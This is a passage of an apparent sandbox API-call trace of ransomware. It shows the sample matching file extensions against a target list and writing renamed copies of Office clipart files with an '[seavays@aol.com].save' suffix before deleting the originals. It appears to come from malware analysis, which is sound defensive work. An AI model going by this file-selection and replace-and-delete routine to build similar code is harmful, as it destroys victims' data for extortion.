(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0077.656] lstrlenW (lpString=".zip") returned 4 [0077.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.656] lstrlenW (lpString=".rar") returned 4 [0077.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.657] lstrlenW (lpString=".bz2") returned 4 [0077.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.657] lstrlenW (lpString=".7z") returned 3 [0077.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0077.657] lstrlenW (lpString=".dbf") returned 4 [0077.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0077.657] lstrlenW (lpString=".1cd") returned 4 [0077.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0077.657] lstrlenW (lpString=".jpg") returned 4 [0077.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.658] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.659] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0077.660] GetLastError () returned 0x0 [0077.660] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x486, lpOverlapped=0x0) returned 1 [0077.661] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x490, lpOverlapped=0x0) returned 1 [0077.663] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.663] WriteFile (in: hFile=0x2f0, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.663] SetEndOfFile (hFile=0x2f0) returned 1 [0077.663] CloseHandle (hObject=0x2f0) returned 1 [0077.663] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.663] SetEndOfFile (hFile=0x314) returned 1 [0078.013] CloseHandle (hObject=0x314) returned 1 [0078.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0078.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0078.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0078.014] lstrlenW (lpString=".doc") returned 4 [0078.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.014] lstrlenW (lpString=".docx") returned 5 [0078.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.014] lstrlenW (lpString=".pdf") returned 4 [0078.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.014] lstrlenW (lpString=".xls") returned 4 [0078.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.014] lstrlenW (lpString=".xlsx") returned 5 [0078.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.014] lstrlenW (lpString=".ppt") returned 4 [0078.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0078.014] lstrlenW (lpString=".zip") returned 4 [0078.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.015] lstrlenW (lpString=".rar") returned 4 [0078.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.015] lstrlenW (lpString=".bz2") returned 4 [0078.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.015] lstrlenW (lpString=".7z") returned 3 [0078.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0078.015] lstrlenW (lpString=".dbf") returned 4 [0078.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0078.015] lstrlenW (lpString=".1cd") returned 4 [0078.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0078.015] lstrlenW (lpString=".jpg") returned 4 [0078.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.016] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.016] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0078.017] GetLastError () returned 0x0 [0078.017] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xb80, lpOverlapped=0x0) returned 1 [0078.018] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xb90, lpOverlapped=0x0) returned 1 [0078.020] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.020] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.020] SetEndOfFile (hFile=0x2e8) returned 1 [0078.020] CloseHandle (hObject=0x2e8) returned 1 [0078.020] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.020] SetEndOfFile (hFile=0x314) returned 1 [0078.021] CloseHandle (hObject=0x314) returned 1 [0078.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0078.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0078.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0078.022] lstrlenW (lpString=".doc") returned 4 [0078.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.022] lstrlenW (lpString=".docx") returned 5 [0078.022] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.022] lstrlenW (lpString=".pdf") returned 4 [0078.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.022] lstrlenW (lpString=".xls") returned 4 [0078.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.022] lstrlenW (lpString=".xlsx") returned 5 [0078.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.022] lstrlenW (lpString=".ppt") returned 4 [0078.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0078.023] lstrlenW (lpString=".zip") returned 4 [0078.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.023] lstrlenW (lpString=".rar") returned 4 [0078.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.023] lstrlenW (lpString=".bz2") returned 4 [0078.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.023] lstrlenW (lpString=".7z") returned 3 [0078.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0078.023] lstrlenW (lpString=".dbf") returned 4 [0078.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0078.023] lstrlenW (lpString=".1cd") returned 4 [0078.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0078.023] lstrlenW (lpString=".jpg") returned 4 [0078.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.024] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.024] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0078.025] GetLastError () returned 0x0 [0078.025] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x4c4, lpOverlapped=0x0) returned 1 [0078.026] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x4d0, lpOverlapped=0x0) returned 1 [0078.028] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.028] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.028] SetEndOfFile (hFile=0x2e8) returned 1 [0078.028] CloseHandle (hObject=0x2e8) returned 1 [0078.029] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.029] SetEndOfFile (hFile=0x314) returned 1 [0078.030] CloseHandle (hObject=0x314) returned 1 [0078.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0078.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0078.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0078.031] lstrlenW (lpString=".doc") returned 4 [0078.031] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.031] lstrlenW (lpString=".docx") returned 5 [0078.031] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0078.031] lstrlenW (lpString=".pdf") returned 4 [0078.031] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.031] lstrlenW (lpString=".xls") returned 4 [0078.031] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.031] lstrlenW (lpString=".xlsx") returned 5 [0078.031] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0078.031] lstrlenW (lpString=".ppt") returned 4 [0078.031] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0078.031] lstrlenW (lpString=".zip") returned 4 [0078.031] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.031] lstrlenW (lpString=".rar") returned 4 [0078.031] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.031] lstrlenW (lpString=".bz2") returned 4 [0078.031] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.031] lstrlenW (lpString=".7z") returned 3 [0078.031] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0078.031] lstrlenW (lpString=".dbf") returned 4 [0078.032] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0078.032] lstrlenW (lpString=".1cd") returned 4 [0078.032] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0078.032] lstrlenW (lpString=".jpg") returned 4 [0078.032] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.033] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.033] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0078.034] GetLastError () returned 0x0 [0078.034] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x2606, lpOverlapped=0x0) returned 1 [0078.036] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x2610, lpOverlapped=0x0) returned 1 [0078.037] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.037] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.037] SetEndOfFile (hFile=0x2e8) returned 1 [0078.038] CloseHandle (hObject=0x2e8) returned 1 [0078.038] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.038] SetEndOfFile (hFile=0x314) returned 1 [0078.039] CloseHandle (hObject=0x314) returned 1 [0078.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0078.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0078.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0078.040] lstrlenW (lpString=".doc") returned 4 [0078.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.040] lstrlenW (lpString=".docx") returned 5 [0078.040] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0078.040] lstrlenW (lpString=".pdf") returned 4 [0078.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.040] lstrlenW (lpString=".xls") returned 4 [0078.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.040] lstrlenW (lpString=".xlsx") returned 5 [0078.040] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0078.040] lstrlenW (lpString=".ppt") returned 4 [0078.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0078.040] lstrlenW (lpString=".zip") returned 4 [0078.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.040] lstrlenW (lpString=".rar") returned 4 [0078.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.041] lstrlenW (lpString=".bz2") returned 4 [0078.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.041] lstrlenW (lpString=".7z") returned 3 [0078.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0078.041] lstrlenW (lpString=".dbf") returned 4 [0078.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0078.041] lstrlenW (lpString=".1cd") returned 4 [0078.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0078.041] lstrlenW (lpString=".jpg") returned 4 [0078.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.042] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.042] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0078.042] GetLastError () returned 0x0 [0078.042] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x257c, lpOverlapped=0x0) returned 1 [0078.044] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x2580, lpOverlapped=0x0) returned 1 [0078.046] ReadFile (in: hFile=0x314, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.046] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.046] SetEndOfFile (hFile=0x2e8) returned 1 [0078.046] CloseHandle (hObject=0x2e8) returned 1 [0078.047] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.047] SetEndOfFile (hFile=0x314) returned 1 [0078.048] CloseHandle (hObject=0x314) returned 1 [0078.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0078.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0078.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0078.049] lstrlenW (lpString=".doc") returned 4 [0078.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.049] lstrlenW (lpString=".docx") returned 5 [0078.049] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0078.049] lstrlenW (lpString=".pdf") returned 4 [0078.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.049] lstrlenW (lpString=".xls") returned 4 [0078.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.049] lstrlenW (lpString=".xlsx") returned 5 [0078.049] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0078.049] lstrlenW (lpString=".ppt") returned 4 [0078.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0078.049] lstrlenW (lpString=".zip") returned 4 [0078.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.049] lstrlenW (lpString=".rar") returned 4 [0078.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.050] lstrlenW (lpString=".bz2") returned 4 [0078.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.050] lstrlenW (lpString=".7z") returned 3 [0078.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0078.050] lstrlenW (lpString=".dbf") returned 4 [0078.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0078.050] lstrlenW (lpString=".1cd") returned 4 [0078.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0078.050] lstrlenW (lpString=".jpg") returned 4 [0078.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.552] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.552] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0078.553] GetLastError () returned 0x0 [0078.553] ReadFile (in: hFile=0x2f0, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x4278, lpOverlapped=0x0) returned 1 [0078.555] WriteFile 